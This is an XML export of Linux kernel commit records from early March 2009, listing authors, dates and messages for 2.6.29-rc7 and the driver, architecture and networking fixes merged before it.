<?xml version="1.0" encoding="UTF-8"?>
<commits type="array">
  <commit>
    <parents type="array">
      <parent>
        <id>9c1a7747059a65dbc2d7703978841a37db699fbf</id>
      </parent>
    </parents>
    <author>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/fec6c6fec3e20637bee5d276fb61dd8b49a3f9cc</url>
    <id>fec6c6fec3e20637bee5d276fb61dd8b49a3f9cc</id>
    <committed-date>2009-03-03T17:05:22-08:00</committed-date>
    <authored-date>2009-03-03T17:05:22-08:00</authored-date>
    <message>Linux 2.6.29-rc7</message>
    <tree>b2519fea89c36b853728767c97d5f8f720bbbc62</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>219f170a85fee524fa528ef75a0432b79af95d0b</id>
      </parent>
      <parent>
        <id>1777f1a978153e8b887c1e1eb5160ac46098b142</id>
      </parent>
    </parents>
    <author>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/9c1a7747059a65dbc2d7703978841a37db699fbf</url>
    <id>9c1a7747059a65dbc2d7703978841a37db699fbf</id>
    <committed-date>2009-03-03T17:05:08-08:00</committed-date>
    <authored-date>2009-03-03T17:05:08-08:00</authored-date>
    <message>Merge git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6

* git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6:
  crypto: ixp4xx - Fix qmgr_request_queue build failure
  crypto: api - Fix module load deadlock with fallback algorithms</message>
    <tree>7bbbad1430fa70bcf1c4daaba7dd1dc88306c3b8</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>a760a6656e6f00bb0144a42a048cf0266646e22c</id>
      </parent>
    </parents>
    <author>
      <name>Krzysztof Ha&#322;asa</name>
      <email>khc@pm.waw.pl</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/1777f1a978153e8b887c1e1eb5160ac46098b142</url>
    <id>1777f1a978153e8b887c1e1eb5160ac46098b142</id>
    <committed-date>2009-03-03T16:01:22-08:00</committed-date>
    <authored-date>2009-03-03T16:01:22-08:00</authored-date>
    <message>crypto: ixp4xx - Fix qmgr_request_queue build failure

There is another user of IXP4xx queue manager, fix it.

Signed-off-by: Krzysztof Ha&#322;asa &lt;khc@pm.waw.pl&gt;
Signed-off-by: Herbert Xu &lt;herbert@gondor.apana.org.au&gt;</message>
    <tree>0bf8305adf374c98042718ded13e5c9540a5f0e7</tree>
    <committer>
      <name>Herbert Xu</name>
      <email>herbert@gondor.apana.org.au</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>3024e4a99744f5b59704a6570524a312f94f010f</id>
      </parent>
      <parent>
        <id>54e991242850edc8c53f71fa5aa3ba7a93ce38f5</id>
      </parent>
    </parents>
    <author>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/219f170a85fee524fa528ef75a0432b79af95d0b</url>
    <id>219f170a85fee524fa528ef75a0432b79af95d0b</id>
    <committed-date>2009-03-03T14:33:20-08:00</committed-date>
    <authored-date>2009-03-03T14:33:20-08:00</authored-date>
    <message>Merge branch 'sched-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip

* 'sched-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
  sched: don't allow setuid to succeed if the user does not have rt bandwidth
  sched_rt: don't start timer when rt bandwidth disabled</message>
    <tree>13489998c59c5d7ac6d46b7835c7f4a6ccfab2e6</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>f2a4165526a9746afc4ba5413b1756614a49d450</id>
      </parent>
      <parent>
        <id>780eef9492b16a1543a3b2ae9f9526a735fc9856</id>
      </parent>
    </parents>
    <author>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/3024e4a99744f5b59704a6570524a312f94f010f</url>
    <id>3024e4a99744f5b59704a6570524a312f94f010f</id>
    <committed-date>2009-03-03T14:32:55-08:00</committed-date>
    <authored-date>2009-03-03T14:32:55-08:00</authored-date>
    <message>Merge branch 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip

* 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
  x86: oprofile: don't set counter width from cpuid on Core2
  x86: fix init_memory_mapping() to handle small ranges</message>
    <tree>52739d6ef2af3afe3dc7b0f7ee942fd43da107c1</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>b24746c7be75384d182845375c96433d713981bb</id>
      </parent>
      <parent>
        <id>340430c572f7b2b275d39965e88bafa71693cb23</id>
      </parent>
    </parents>
    <author>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/f2a4165526a9746afc4ba5413b1756614a49d450</url>
    <id>f2a4165526a9746afc4ba5413b1756614a49d450</id>
    <committed-date>2009-03-03T14:32:37-08:00</committed-date>
    <authored-date>2009-03-03T14:32:37-08:00</authored-date>
    <message>Merge branch 'tracing/mmiotrace' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip

* 'tracing/mmiotrace' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
  x86 mmiotrace: fix race with release_kmmio_fault_page()
  x86 mmiotrace: improve handling of secondary faults
  x86 mmiotrace: split set_page_presence()
  x86 mmiotrace: fix save/restore page table state
  x86 mmiotrace: WARN_ONCE if dis/arming a page fails
  x86: add far read test to testmmiotrace
  x86: count errors in testmmiotrace.ko</message>
    <tree>d5cdf4ee27f77bfbfcb133666a538670accc9a57</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>f41bf2ab998daaa2ac27348d5813e0ae21c57ded</id>
      </parent>
      <parent>
        <id>a682604838763981613e42015cd0e39f2989d6bb</id>
      </parent>
    </parents>
    <author>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/b24746c7be75384d182845375c96433d713981bb</url>
    <id>b24746c7be75384d182845375c96433d713981bb</id>
    <committed-date>2009-03-03T14:32:04-08:00</committed-date>
    <authored-date>2009-03-03T14:32:04-08:00</authored-date>
    <message>Merge branch 'core-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip

* 'core-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
  rcu: Teach RCU that idle task is not quiscent state at boot</message>
    <tree>fdb0371d9e59c94e18c946a88c4aa3bcfa4af9b1</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>2450cf51a1bdba7037e91b1bcc494b01c58aaf66</id>
      </parent>
      <parent>
        <id>bdf602bd737eb07d63d6fa2da826b4751fdf9bab</id>
      </parent>
    </parents>
    <author>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/f41bf2ab998daaa2ac27348d5813e0ae21c57ded</url>
    <id>f41bf2ab998daaa2ac27348d5813e0ae21c57ded</id>
    <committed-date>2009-03-03T14:12:41-08:00</committed-date>
    <authored-date>2009-03-03T14:12:41-08:00</authored-date>
    <message>Merge master.kernel.org:/home/rmk/linux-2.6-arm

* master.kernel.org:/home/rmk/linux-2.6-arm:
  [ARM] fix lots of ARM __devexit sillyness
  [ARM] 5417/1: Set the correct cacheid for ARMv6 CPUs with ARMv7 style MMU
  [ARM] 5416/1: Use unused address in v6_early_abort
  [ARM] 5411/1: S3C64XX: Fix EINT unmask
  [ARM] at91: fix for Atmel AT91 powersaving
  [ARM] RiscPC: Fix etherh oops</message>
    <tree>0ad5ca31ec88b84c4ba1f6380bd971d9933f33e5</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>b57ee99fab25dbc12150fe66fe54dc52bc6de784</id>
      </parent>
    </parents>
    <author>
      <name>Russell King</name>
      <email>rmk@dyn-67.arm.linux.org.uk</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/bdf602bd737eb07d63d6fa2da826b4751fdf9bab</url>
    <id>bdf602bd737eb07d63d6fa2da826b4751fdf9bab</id>
    <committed-date>2009-03-03T13:04:04-08:00</committed-date>
    <authored-date>2009-03-03T05:43:47-08:00</authored-date>
    <message>[ARM] fix lots of ARM __devexit sillyness

`iop_adma_remove' referenced in section `.data' of drivers/built-in.o: defined in discarded section `.devexit.text' of drivers/built-in.o
`mv_xor_remove' referenced in section `.data' of drivers/built-in.o: defined in discarded section `.devexit.text' of drivers/built-in.o
`mv64xxx_i2c_unmap_regs' referenced in section `.devinit.text' of drivers/built-in.o: defined in discarded section `.devexit.text' of drivers/built-in.o
`mv64xxx_i2c_remove' referenced in section `.data' of drivers/built-in.o: defined in discarded section `.devexit.text' of drivers/built-in.o
`orion_nand_remove' referenced in section `.data' of drivers/built-in.o: defined in discarded section `.devexit.text' of drivers/built-in.o
`pxafb_remove' referenced in section `.data' of drivers/built-in.o: defined in discarded section `.devexit.text' of drivers/built-in.o

Acked-by: Uwe Kleine-K&#246;nig &lt;u.kleine-koenig@pengutronix.de&gt;
Signed-off-by: Russell King &lt;rmk+kernel@arm.linux.org.uk&gt;</message>
    <tree>6b5478c009ce41008196abbd26961d352e056bd8</tree>
    <committer>
      <name>Russell King</name>
      <email>rmk+kernel@arm.linux.org.uk</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>25ef4a67e78e1322d55f0a38783537ed89addc02</id>
      </parent>
    </parents>
    <author>
      <name>Catalin Marinas</name>
      <email>catalin.marinas@arm.com</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/b57ee99fab25dbc12150fe66fe54dc52bc6de784</url>
    <id>b57ee99fab25dbc12150fe66fe54dc52bc6de784</id>
    <committed-date>2009-03-03T04:11:26-08:00</committed-date>
    <authored-date>2009-03-03T02:44:12-08:00</authored-date>
    <message>[ARM] 5417/1: Set the correct cacheid for ARMv6 CPUs with ARMv7 style MMU

The cacheid_init() function assumes that if cpu_architecture() returns
7, the caches are VIPT_NONALIASING. The cpu_architecture() function
returns the version of the supported MMU features (e.g. TEX remapping)
but it doesn't make any assumptions about the cache type. The patch adds
the checking of the Cache Type Register for the ARMv7 format.

Signed-off-by: Catalin Marinas &lt;catalin.marinas@arm.com&gt;
Signed-off-by: Russell King &lt;rmk+kernel@arm.linux.org.uk&gt;</message>
    <tree>21bd531baa837d47ff600d36cef524b0ff4cb94c</tree>
    <committer>
      <name>Russell King</name>
      <email>rmk+kernel@arm.linux.org.uk</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>c8532db7f2661b63f658b9a08cf4053a3e6abb78</id>
      </parent>
    </parents>
    <author>
      <name>Seth Forshee</name>
      <email>seth.forshee@gmail.com</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/25ef4a67e78e1322d55f0a38783537ed89addc02</url>
    <id>25ef4a67e78e1322d55f0a38783537ed89addc02</id>
    <committed-date>2009-03-03T04:11:25-08:00</committed-date>
    <authored-date>2009-03-02T13:39:36-08:00</authored-date>
    <message>[ARM] 5416/1: Use unused address in v6_early_abort

The target of the strex instruction to clear the exlusive monitor
is currently the top of the stack.  If the store succeeeds this
corrupts r0 in pt_regs.  Use the next stack location instead of
the current one to prevent any chance of corrupting an in-use
address.

Signed-off-by: Seth Forshee &lt;seth.forshee@gmail.com&gt;
Signed-off-by: Russell King &lt;rmk+kernel@arm.linux.org.uk&gt;</message>
    <tree>030221d967bba0ab8d5274159063f839e6f503cc</tree>
    <committer>
      <name>Russell King</name>
      <email>rmk+kernel@arm.linux.org.uk</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>0fc59d3a01820765e5f3a723733728758b0cf577</id>
      </parent>
    </parents>
    <author>
      <name>Tim Blechmann</name>
      <email>tim@klingt.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/780eef9492b16a1543a3b2ae9f9526a735fc9856</url>
    <id>780eef9492b16a1543a3b2ae9f9526a735fc9856</id>
    <committed-date>2009-03-03T03:04:22-08:00</committed-date>
    <authored-date>2009-02-19T08:34:03-08:00</authored-date>
    <message>x86: oprofile: don't set counter width from cpuid on Core2

Impact: fix stuck NMIs and non-working oprofile on certain CPUs

Resetting the counter width of the performance counters on Intel's
Core2 CPUs, breaks the delivery of NMIs, when running in x86_64 mode.

This should fix bug #12395:

  http://bugzilla.kernel.org/show_bug.cgi?id=12395

Signed-off-by: Tim Blechmann &lt;tim@klingt.org&gt;
Signed-off-by: Robert Richter &lt;robert.richter@amd.com&gt;
LKML-Reference: &lt;20090303100412.GC10085@erda.amd.com&gt;
Cc: &lt;stable@kernel.org&gt;
Signed-off-by: Ingo Molnar &lt;mingo@elte.hu&gt;</message>
    <tree>d3c4942a98845558d45e4b36d5350ebf41cde524</tree>
    <committer>
      <name>Ingo Molnar</name>
      <email>mingo@elte.hu</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>2450cf51a1bdba7037e91b1bcc494b01c58aaf66</id>
      </parent>
    </parents>
    <author>
      <name>Yinghai Lu</name>
      <email>yinghai@kernel.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/0fc59d3a01820765e5f3a723733728758b0cf577</url>
    <id>0fc59d3a01820765e5f3a723733728758b0cf577</id>
    <committed-date>2009-03-02T23:50:22-08:00</committed-date>
    <authored-date>2009-03-02T23:36:13-08:00</authored-date>
    <message>x86: fix init_memory_mapping() to handle small ranges

Impact: fix failed EFI bootup in certain circumstances

Ying Huang found init_memory_mapping() has problem with small ranges
less than 2M when he tried to direct map the EFI runtime code out of
max_low_pfn_mapped.

It turns out we never considered that case and didn't check the range...

Reported-by: Ying Huang &lt;ying.huang@intel.com&gt;
Signed-off-by: Yinghai Lu &lt;yinghai@kernel.org&gt;
Cc: Brian Maly &lt;bmaly@redhat.com&gt;
LKML-Reference: &lt;49ACDDED.1060508@kernel.org&gt;
Signed-off-by: Ingo Molnar &lt;mingo@elte.hu&gt;</message>
    <tree>1feae906b3ea81e6e8840900c14d63c1350998b5</tree>
    <committer>
      <name>Ingo Molnar</name>
      <email>mingo@elte.hu</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>43e407071d97c1a07a4601896581554a6b3bfd67</id>
      </parent>
    </parents>
    <author>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/2450cf51a1bdba7037e91b1bcc494b01c58aaf66</url>
    <id>2450cf51a1bdba7037e91b1bcc494b01c58aaf66</id>
    <committed-date>2009-03-02T16:23:33-08:00</committed-date>
    <authored-date>2009-03-02T16:23:33-08:00</authored-date>
    <message>Revert &quot;menu: fix embedded menu snafu&quot;

This reverts commit 155b25bcc28631a5b5230191aa3f56c40dfffa3f, which was
totally wrong - the &quot;embedded&quot; options still exists (very much so) even
on non-embedded platforms.

It's just that we don't bother with actually asking about them when
we're not embedded, we just take their default values (which is usually
'y' - the options add features that may not be worth it in a constrained
environment).

Noticed-by: Andrew Morton &lt;akpm@linux-foundation.org&gt;
Cc: Randy Dunlap &lt;randy.dunlap@oracle.com&gt;
Signed-off-by: Linus Torvalds &lt;torvalds@linux-foundation.org&gt;</message>
    <tree>406b27ef95cb13f5d99a3b8bfd0a2b2310d33e99</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>155b25bcc28631a5b5230191aa3f56c40dfffa3f</id>
      </parent>
      <parent>
        <id>299eb93c5f651b2bc368ada67d8471e4c575fa21</id>
      </parent>
    </parents>
    <author>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/43e407071d97c1a07a4601896581554a6b3bfd67</url>
    <id>43e407071d97c1a07a4601896581554a6b3bfd67</id>
    <committed-date>2009-03-02T16:11:36-08:00</committed-date>
    <authored-date>2009-03-02T16:11:36-08:00</authored-date>
    <message>Merge branch 'drm-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/airlied/drm-2.6

* 'drm-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/airlied/drm-2.6:
  drm/i915: Fix use-before-null-check in i915_irq_emit().
  drm: Avoid client deadlocks when the master disappears.
  drm: Wake up all lock waiters when the master disappears.
  drm: Don't return ERESTARTSYS to user-space.</message>
    <tree>6f5bbf72bda0c983373a315d62dc229e591fca89</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>fda714c29cdf360464059044b221450decb4b913</id>
      </parent>
    </parents>
    <author>
      <name>Eric Anholt</name>
      <email>eric@anholt.net</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/299eb93c5f651b2bc368ada67d8471e4c575fa21</url>
    <id>299eb93c5f651b2bc368ada67d8471e4c575fa21</id>
    <committed-date>2009-03-02T15:53:05-08:00</committed-date>
    <authored-date>2009-02-24T22:14:12-08:00</authored-date>
    <message>drm/i915: Fix use-before-null-check in i915_irq_emit().

This could be triggered by a client asking to emit an irq when the device
wasn't initialized.

Signed-off-by: Eric Anholt &lt;eric@anholt.net&gt;
Signed-off-by: Dave Airlie &lt;airlied@linux.ie&gt;</message>
    <tree>342c43be5b83b399a80b9a1f2e9b4ff1f0cd6eca</tree>
    <committer>
      <name>Dave Airlie</name>
      <email>airlied@linux.ie</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>171901d15deeef61aa8e1b0d0772404f39691b73</id>
      </parent>
    </parents>
    <author>
      <name>Thomas Hellstrom</name>
      <email>thellstrom@vmware.com</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/fda714c29cdf360464059044b221450decb4b913</url>
    <id>fda714c29cdf360464059044b221450decb4b913</id>
    <committed-date>2009-03-02T15:50:20-08:00</committed-date>
    <authored-date>2009-03-02T02:10:56-08:00</authored-date>
    <message>drm: Avoid client deadlocks when the master disappears.

This is done by
1) Wake up lock waiters when we close the master file descriptor.
   Not when the master structure is removed, since the latter
   requires the waiters themselves to release the refcount on the
   master structure -&gt; Deadlock.
2) Send a SIGTERM to all clients waiting for the lock.
   Normally these clients will get a SIGPIPE when the X server dies,
   but clients may also spin trying to grab the DRM lock, without
   getting any sort of notification.

Signed-off-by: Thomas Hellstrom &lt;thellstrom@vmware.com&gt;
Signed-off-by: Dave Airlie &lt;airlied@linux.ie&gt;</message>
    <tree>dc985f3c861d9490a1b5ffe82583497b6fe64236</tree>
    <committer>
      <name>Dave Airlie</name>
      <email>airlied@linux.ie</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>4d77c88e912e5eb9480432af09e950ca8995c253</id>
      </parent>
    </parents>
    <author>
      <name>Thomas Hellstrom</name>
      <email>thellstrom@vmware.com</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/171901d15deeef61aa8e1b0d0772404f39691b73</url>
    <id>171901d15deeef61aa8e1b0d0772404f39691b73</id>
    <committed-date>2009-03-02T15:49:54-08:00</committed-date>
    <authored-date>2009-03-02T02:10:55-08:00</authored-date>
    <message>drm: Wake up all lock waiters when the master disappears.

Currently only one waiter is woken up, leaving other waiters
hanging waiting for the DRM lock.

Signed-off-by: Thomas Hellstrom &lt;thellstrom@vmware.com&gt;
Signed-off-by: Dave Airlie &lt;airlied@linux.ie&gt;</message>
    <tree>7b455223711f255c70ecc8ed43b2a64acdf3547d</tree>
    <committer>
      <name>Dave Airlie</name>
      <email>airlied@linux.ie</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>778ef1e6cbb049c9bcbf405936ee6f2b6e451892</id>
      </parent>
    </parents>
    <author>
      <name>Thomas Hellstrom</name>
      <email>thellstrom@vmware.com</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/4d77c88e912e5eb9480432af09e950ca8995c253</url>
    <id>4d77c88e912e5eb9480432af09e950ca8995c253</id>
    <committed-date>2009-03-02T15:49:46-08:00</committed-date>
    <authored-date>2009-03-02T02:10:54-08:00</authored-date>
    <message>drm: Don't return ERESTARTSYS to user-space.

That return code is for in-kernel use only.
Use EINTR instead.

Signed-off-by: Thomas Hellstrom &lt;thellstrom@vmware.com&gt;
Signed-off-by: Dave Airlie &lt;airlied@linux.ie&gt;</message>
    <tree>7e11cab663107a7beb0fa25e79bb33baa2c6de90</tree>
    <committer>
      <name>Dave Airlie</name>
      <email>airlied@linux.ie</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>d86a1c3de557c019696499ff211b91232fad0fe9</id>
      </parent>
    </parents>
    <author>
      <name>Randy Dunlap</name>
      <email>randy.dunlap@oracle.com</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/155b25bcc28631a5b5230191aa3f56c40dfffa3f</url>
    <id>155b25bcc28631a5b5230191aa3f56c40dfffa3f</id>
    <committed-date>2009-03-02T15:49:16-08:00</committed-date>
    <authored-date>2009-03-02T14:14:06-08:00</authored-date>
    <message>menu: fix embedded menu snafu

The COMPAT_BRK kconfig symbol does not depend on EMBEDDED, but it is in
the midst of the EMBEDDED menu symbols, so it mucks up the EMBEDDED
menu.  Fix by moving it to just after all of the EMBEDDED menu symbols.

Also, surround all of the EMBEDDED symbols with &quot;if EMBEDDED&quot;/&quot;endif&quot; so
that this EMBEDDED block is clearer.

Signed-off-by: Randy Dunlap &lt;randy.dunlap@oracle.com&gt;
Signed-off-by: Linus Torvalds &lt;torvalds@linux-foundation.org&gt;</message>
    <tree>078d3dbce92fbe568671ee0d16f60f2ec27bb74e</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>bd5e89c8132f1cab75684344faa5e53517727c3e</id>
      </parent>
      <parent>
        <id>a0874897b1ba106298e4303a25456a473fc40f3d</id>
      </parent>
    </parents>
    <author>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/d86a1c3de557c019696499ff211b91232fad0fe9</url>
    <id>d86a1c3de557c019696499ff211b91232fad0fe9</id>
    <committed-date>2009-03-02T15:48:00-08:00</committed-date>
    <authored-date>2009-03-02T15:48:00-08:00</authored-date>
    <message>Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/drzeus/mmc

* 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/drzeus/mmc:
  sdhci: Add NO_BUSY_IRQ quirk for Marvell CAFE host chip
  sdhci: Add quirk for controllers with no end-of-busy IRQ</message>
    <tree>761408ee7c79cd19aa20bf6b243b598d016d6dd0</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>2d44947a56f7a567f2e9250dc458a6288d774f9c</id>
      </parent>
      <parent>
        <id>38f1df27e3191d76e983cb9c6b4392582fd32fda</id>
      </parent>
    </parents>
    <author>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/bd5e89c8132f1cab75684344faa5e53517727c3e</url>
    <id>bd5e89c8132f1cab75684344faa5e53517727c3e</id>
    <committed-date>2009-03-02T15:47:19-08:00</committed-date>
    <authored-date>2009-03-02T15:47:19-08:00</authored-date>
    <message>Merge branch 'fix/hda' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound-2.6

* 'fix/hda' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound-2.6:
  ALSA: hda - Add probe_mask default for Toshiba laptop with ALC268
  ALSA: hda - Add quirk for new HP xw series
  ALSA: hda - Fix digital mic on dell-m4-1 and dell-m4-3</message>
    <tree>e5aae5e147b2a5537e98b3d09a5d1c9e84e83b29</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>359aa09be9b2b343e01306cb4a6f29d7159d7498</id>
      </parent>
      <parent>
        <id>5ce04e3de8c36ba37c56e94e3c4dc7973c7f546c</id>
      </parent>
    </parents>
    <author>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/2d44947a56f7a567f2e9250dc458a6288d774f9c</url>
    <id>2d44947a56f7a567f2e9250dc458a6288d774f9c</id>
    <committed-date>2009-03-02T15:47:01-08:00</committed-date>
    <authored-date>2009-03-02T15:47:01-08:00</authored-date>
    <message>Merge branch 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip

* 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
  fix warning in io_mapping_map_wc()
  x86: i915 needs pgprot_writecombine() and is_io_mapping_possible()</message>
    <tree>9156958b53ef544b314c9af708f43a6e425dfc72</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>c742b4bf7a180619831783dcdad6aec062587e54</id>
      </parent>
      <parent>
        <id>52c0326beaa3cb0049d0f1c51c6ad5d4a04e4430</id>
      </parent>
    </parents>
    <author>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/359aa09be9b2b343e01306cb4a6f29d7159d7498</url>
    <id>359aa09be9b2b343e01306cb4a6f29d7159d7498</id>
    <committed-date>2009-03-02T15:46:09-08:00</committed-date>
    <authored-date>2009-03-02T15:46:09-08:00</authored-date>
    <message>Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-2.6

* git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-2.6: (29 commits)
  zaurus: add usb id for motomagx phones
  usbnet: make usbnet_get_link() fall back to ethtool_op_get_link()
  veth: Fix carrier detect
  cdc_ether: add usb id for Ericsson F3507g
  r8169: read MAC address from EEPROM on init (2nd attempt)
  tcp: fix retrans_out leaks
  net headers: export dcbnl.h
  net headers: cleanup dcbnl.h
  netpoll: Add drop checks to all entry points
  gianfar: Do right check on num_txbdfree
  pkt_sched: sch_drr: Fix oops in drr_change_class.
  b44: Disable device on shutdown
  b44: Unconditionally enable interrupt routing on reset
  net: fix hp-plus build error
  libertas: fix misuse of netdev_priv() and dev-&gt;ml_priv
  ipv6: don't use tw net when accounting for recycled tw
  asix: new device ids
  tcp_scalable: Update malformed &amp; dead url
  netfilter: xt_recent: fix proc-file addition/removal of IPv4 addresses
  netxen: handle pci bar 0 mapping failure
  ...</message>
    <tree>8d0347e9aee4ea7b147b9daa681d4b7ecefc1ee6</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>fbfd8b5622a18afefb53a69d31fbddecba404f64</id>
      </parent>
      <parent>
        <id>d7f59dc4642ce2fc7b79fcd4ec02ffce7f21eb02</id>
      </parent>
    </parents>
    <author>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/c742b4bf7a180619831783dcdad6aec062587e54</url>
    <id>c742b4bf7a180619831783dcdad6aec062587e54</id>
    <committed-date>2009-03-02T15:44:08-08:00</committed-date>
    <authored-date>2009-03-02T15:44:08-08:00</authored-date>
    <message>Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/security-testing-2.6

* 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/security-testing-2.6:
  selinux: Fix a panic in selinux_netlbl_inode_permission()</message>
    <tree>fea01d86c4da765bb7f8bf016c431e80a6aa14ce</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>6b3bf2049180c4d4d6f4432f9148621410c179a9</id>
      </parent>
    </parents>
    <author>
      <name>Karsten Keil</name>
      <email>Karsten-Keil@t-online.de</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/fbfd8b5622a18afefb53a69d31fbddecba404f64</url>
    <id>fbfd8b5622a18afefb53a69d31fbddecba404f64</id>
    <committed-date>2009-03-02T15:43:40-08:00</committed-date>
    <authored-date>2009-03-01T09:04:53-08:00</authored-date>
    <message>Change email address

Since I will loose the old address soon, please change it.

Signed-off-by: Karsten Keil &lt;kkeil@linux-pingi.de&gt;
